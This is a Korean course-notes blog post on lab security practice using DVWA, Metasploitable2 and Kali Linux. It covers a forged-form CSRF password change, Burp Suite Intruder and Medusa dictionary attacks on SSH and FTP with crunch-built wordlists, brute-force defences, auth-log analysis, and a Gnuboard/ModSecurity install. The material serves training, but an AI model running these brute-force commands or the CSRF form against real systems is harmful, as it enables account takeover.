* 오늘 내용
- CSRF, Brute Force, Dictionary Attack (Medusa, Burp Suite)
- Wireshark 문제 풀이
- Ubuntu Server에 DVWA 설치
* CSRF (Cross Site Request Forgery : 교차 사이트 요청 위조)
- 공격 대상 : Web Server
- Client의 권한을 이용해서 위조된 요청을 Web Server에게 보내는 공격
- 대표적 사례 : 자동 댓글 달기, 좋아요 눌러지기, 비밀번호 변경, 회원 탈퇴 요청, 회원 승급 요청 등등
- 사용자들이 원하지 않았지만 스크립트의 소스 안에 공격자의 의도가 포함되어 있는 상태로 웹서버에 요청이 보내짐
실습) Metasploitable2를 켜고 DVWA에 접속합니다.
- 리눅스는 굳이 로그인하지 않아도 서버가 실행됨
- DVWA : admin / password
- Security Level : Low 변경
- CSRF메뉴 클릭
- admin의 패스워드를 123456으로 변경하기 위해, 123456을 두번 입력하고 Change클릭
- Brute Force 메뉴에서 admin/password하면 로그인 안됨, admin/123456하면 로그인 됨
- CSRF 메뉴로 와서 F12를 누르고 디버거를 클릭하면 <form>~</form>부분을 확인 (46~52번 라인)
- 46~52번 라인을 복사해서 메모장을 열고 붙여넣기, 저장하고 이름은 csrf.html로 저장
- 수정 내용
주소표시줄을 복사해서 #을 지우고 붙여넣기
INPUT의 맨 뒤에 value=""를 추가
TYPE을 text로 변경, 저장
- csrf.html에 오른쪽 마우스 클릭, 처음 로그인했던 브라우저로 열어보기
- 패스워드를 'korea'로 변경하고 change 클릭 -----> admin / korea (Brute Force 메뉴 또는 처음 로그인 화면에서 확인 가능)
* CSRF
- 공격자는 Client의 권한을 이용해서 Web Server에 위조된 요청을 보냄
- 댓글, 관리자에게 전달되는 내용 등등
- OWASP 2013년 버전에서는 8위였으나, 2017년 버전에서는 순위밖으로 내려감 (대응 방법이 많이 나와있어서 심각 수준이 내려감)
실습) Burp Suite를 활용한 Dictionary Attack
- intercept는 off로 합니다.
- Brute Force 메뉴에서 gordonb / 1234 이렇게 넣어봅니다. -----> incorrect
- HTTP history에서 gordonb /1234 넣었던 GET 요청이 있음 (일반적으로는 POST로 보냄, DVWA에서만 GET으로 보냄)
- 오른쪽 마우스 클릭해서 Send to Intruder를 클릭, 메뉴에 Intruder를 클릭
- 1234를 제외한 나머지 형광펜(?)부분은 블럭설정 후 오른쪽의 Clear를 클릭하면 해제됨
- Payloads 메뉴에서 Simple List(Dictionary) 선택
- Load 버튼을 누르고, password.txt 파일을 선택하고 open 클릭
- Start Attack 클릭
(Demo Version은 Time Throatle적용, 점점 느려짐)
- 패스워드를 찾아도 멈추지 않음... 그러면, 진짜 패스워드는 어떻게 구분할까요?
- Response의 길이가 다른 것이 정답
ex) 패스워드 틀리면 "틀렸습니다." ----> 길이가 동일, 정답이면 "딩동댕 정답입니다." -----> 길이가 달라짐
- X표시 누르고, Discard를 선택합니다. (굳이 백그라운드에서 실행할 필요 없음)
실습) 위와 같은 방법으로
계정 : 1337, pablo 계정을 Dictionary로 공격해보세요.
* 로그 보는 방법
cd /var/log/apache2
tail -30 access.log // tail : 꼬리부분, 즉 최근에 추가된 내용, -30 : 30줄
* 로그의 구성 : 누가, 언제, 어디서, 무엇을, 어떻게로 구성됨 (왜는 없음...)
실습) Brute Force 실습
- 아까 만든 csrf.html을 이용해서 admin의 패스워드를 1234로 변경하세요.
* Brute : 짐승같은
- Brutus : Caesar의 암살자중 한명 -----> 부르터스 너마저? '짐승같은 놈', '무식한'
ex) 로마인 이야기 (저자: 시오노 나나미)
Blog & Note
* Brute Force Attack
- 전수대입법, 무차별대입 공격 이라고도 함
- 모든 가능한 경우의 수를 대입하는 공격
- 시간이 많이 걸리는 것이 단점
- 대응 방법
1) 길고 복잡한 패스워드 사용
2) 횟수제한 및 패스워드 틀림 지정 횟수 초과시 잠금(lock) 설정 ----> 본인확인후 unlock (신분증, 휴대폰인증 등)
3) Captcha를 활용 : 자동화된 스크립트를 대입하는 것을 차단해줌 (사람이 넣을 수밖에...)
* Kali Linux의 Medusa를 사용해서 Dictionary Attack 시도
- Meta2에 계정이 있는지 확인
$ cat /etc/passwd // blackpink, itzy, ive
$ sudo ls (PW : msfadmin)
$ sudo adduser winner
( PW : smile , 나머지는 그냥 엔터, correct? y )
* adduser와 useradd의 차이점은?
-----> adduser는 홈디렉토리를 생성, useradd는 계정만 만듦 (ubuntu와 Debian계열)
cf. Red Hat계열에서 useradd를 해도 홈디렉토리를 만들어줌...
-----> home directory가 없으면 FTP로그인 안됨
* Kali Linux의 Medusa
$ sudo medusa --help
-h : host name
-u : user name
-P : password file
-M : 실행 모듈 ex) ssh, ftp, telnet 등
* Dictionary 수정 (John the Ripper에 있는 딕셔너리를 사용)
$ cd /usr/share/john
$ sudo vi password.lst
:set nu
dd // 한줄 삭제
. // 앞 명령 반복 (123456이 가장 위로 올 때까지 삭제, 1~13번까지의 주석 삭제)
:wq
$ sudo medusa -h 192.168.5.129 -u winner -P password.lst -M ssh
----> 패스워드를 찾으면 멈춤
* 딕셔너리 만들기 실습
$ cd /usr/share/crunch
$ sudo man crunch // man : manual
1) 숫자 4자리로 구성된 딕셔너리를 만들기
$ sudo crunch 4 4 0123456789 -o pw1.txt
$ less pw1.txt // 0000~9999까지 총 10000개의 숫자가 생성됨
주의사항) 너무 큰 파일을 생성하면 에러 발생 우려 ex) 최대 500MB 이하로 생성해야 함
2) 소문자 4자리로 구성된 딕셔너리를 만들기
$ less charset.lst // 파일 내용 보기
ualpha : 대문자, lalpha : 소문자, numeric : 숫자, lalpha-numeric : 소문자와 숫자의 조합
$ sudo crunch 4 4 -f charset.lst lalpha -o pw2.txt
$ head -30 pw2.txt // 위에서 30줄만 보기
$ tail -30 pw2.txt
3) 특정 문자가 들어가는 패턴을 생성하기 (sk뒤에 숫자 2개가 들어가는 패턴)
$ sudo crunch 4 4 0123456789 -t 'sk@@' -o pw3.txt
$ less pw3.txt // sk00으로 시작해서 sk99로 끝남
' '를 사용하고 @를 넣으면 와일드 문자(아무거나 올 수 있음)로 사용되지만,
' '를 사용하지 않는 경우 아래와 같이 문자가 지정됨
@ will insert lower case characters ---> 소문자
, will insert upper case characters ---> 대문자
% will insert numbers ----> 숫자
^ will insert symbols ----> 특수문자
4) skinfosec뒤에 숫자 세자리, 특수문자 1자리로 된 딕셔너리를 만들려면?
$ sudo crunch 13 13 -t skinfosec%%%^ -o pw4.txt
$ less pw4.txt
실습) Crunch로 만든 딕셔너리를 이용해서 Medusa로 공격하기
- Meta2에 girlsday / Sk#4 // 대문자,소문자,특수문자,숫자로 된 패스워드를 지정
$ sudo adduser girlsday
PW : Sk#4 // 비밀번호를 입력할 때 커서가 안 움직이는 이유는? 자리수를 노출하지 않기 위해서
- 딕셔너리를 만들고
$ sudo crunch 4 4 -t ,@^% -o pw5.txt
- Medusa로 공격하기
$ sudo medusa -h 192.168.5.X -u girlsday -P pw5.txt -M ssh -t 16
$ sudo medusa -h [타겟호스트] -u [계정명] -P [딕셔너리] -M [모듈] -t 16 // -t : thread
* Metasploitable2에서 로그 확인하기
$ cd /var/log
$ tail -f auth.log // -f : finishless (실시간 로그 확인)
( ctrl + c하면 중지됨 )
* 로그를 Kali Linux로 가져가서 분석하기
$ sudo cp auth.log /var/www
$ cd /var/www
$ sudo chmod 777 auth.log
* Kali에서 File > New Tab을 누르고 새탭에서 작업합니다.
$ sudo wget http://192.168.5.129/auth.log
$ sudo tail -10 auth.log
$ cat auth.log | awk '{print $12,$13,$14,$15}' | sort | uniq -c
uniq -c 는 중복을 제거하고 왼쪽에 개수(count)를 표시하는 명령
sort는 정렬하라는 명령
$ echo 11 22 33 44 | awk '{print $4,$3,$2,$1}'
$ cat auth.log | awk '{print $5}' | sort -u
GYM Time (3시 3분까지 운동하겠습니다)
* 명령어만 골라서 어떤 명령어가 가장 많이 사용되었는지 확인
$ cat auth.log | awk '{print $5}' | awk -F"[" '{print $1}' | sort | uniq -c | sort -rn
* FTP 로그 확인하기 (첫번째 탭)
- Kali에서 medusa로 FTP에 Dictionary Attack
$ sudo medusa -h 192.168.5.129 -u girlsday -P pw5.txt -M ftp -t 16
- Meta2에서 FTP로그 확인
$ sudo tail -10 /var/log/vsftpd.log
$ sudo cp /var/log/vsftpd.log /var/www
$ sudo /var/www
$ sudo chmod 777 vsftpd.log
- Kali의 2번째 탭에서 다운로드
$ sudo wget http://192.168.5.129/vsftpd.log
$ tail -10 vsftpd.log // 로그가 어떻게 생겼는지 확인
$ cat vsftpd.log | awk '{print $8,$12}' | sort | uniq -c | sort -rn // 8번째와 12번째 컬럼을 골라서 중복제거하고 내림차순 정렬
실습) 다른 로그도 위와 같은 방법으로 확인
* 파일을 가져오지 않고, Kali에서 Meta2로 SSH접속후 로그 확인
$ sudo ssh 192.168.5.129 -l msfadmin
$ sudo cat /var/log/vsftpd.log | awk '{print $8,$12}' | sort | uniq -c | sort -rn
* Ubuntu Server에 웹서버(Gnuboard) 설치 & 웹방화벽(Modsecurity) 설치
- 공간 확보를 위해 Ubuntu Desktop으로 설치한 것은 삭제 (Delete from Disk)
- Player > File > New Virtual Machine
- Ubuntu > Ubuntu 64-bit, 이름은 Ubuntu Server로 지정
- Edit Virtual Machine Settings > CD/DVD에서 Use ISO Image File > Browse 버튼 클릭 > ubuntu-20.04.4-live-server-amd64.iso 선택
- Memory는 2G (2048) 지정
- Play Virtual Machine
- 언어는 English 선택, Continue without updating
- 설치 완료후에 전원을 끄고 백업을 위해 압축을 해놓도록 합니다.
<tab>키를 눌러서 help를 선택하고 Enter Shell 선택
# shutdown -h now
- 전원이 꺼지면, Edit Virtual Machine Settings > CD/DVD > Use Physical Drive로 변경
- Play Virtual Machine
엔터를 입력하면
vm login: // 계정
Password: // 비밀번호
$ sudo apt update
$ logout
백업을 위해 전원을 끄고 폴더를 압축합니다.
- 윈도우에서 Command 창을 열고 SSH로 접속
cmd> ssh 192.168.5.135 -l [계정]
서버의 공개키 해시값 확인> yes 입력
------> Gnuboard & Modsecurity 설치하세요~
* 우분투에 웹서버 설치
$ sudo apt update
$ sudo apt install vim
$ sudo apt install apache2
$ sudo apt install mysql-server
$ sudo apt install php php-mysql php-common php-gd php-fpm php-xml php-json php-curl git
$ sudo systemctl start mysql // MySQL을 시작합니다.
$ sudo mysql -u root -p
create database gnuboard;
create user board@localhost identified by 'cyber12#$';
grant all privileges on gnuboard.* to board@localhost;
exit
$ cd /var/www/html
$ sudo git clone https://github.com/gnuboard/gnuboard5
$ sudo mkdir data
$ sudo chmod 707 data
$ sudo service apache2 restart
----> 웹브라우저로 접속해서 그누보드 설치하면 끝
----> Modsecurity 설치하고 공격에 Forbidden으로 응답하는지 확인합니다.
'등등 > 보안 위협 탐지' 카테고리의 다른 글
보안 위협 탐지 - 3일차 (0) | 2022.06.23 |
---|---|
Metasploitable2 ( DVWA 실습) (0) | 2022.05.31 |
보안 위협 탐지 - 2일차 (0) | 2022.05.23 |
보안 위협 탐지 -1일차 (0) | 2022.05.12 |
vmware ( window7) - window 파일공유 (0) | 2022.05.12 |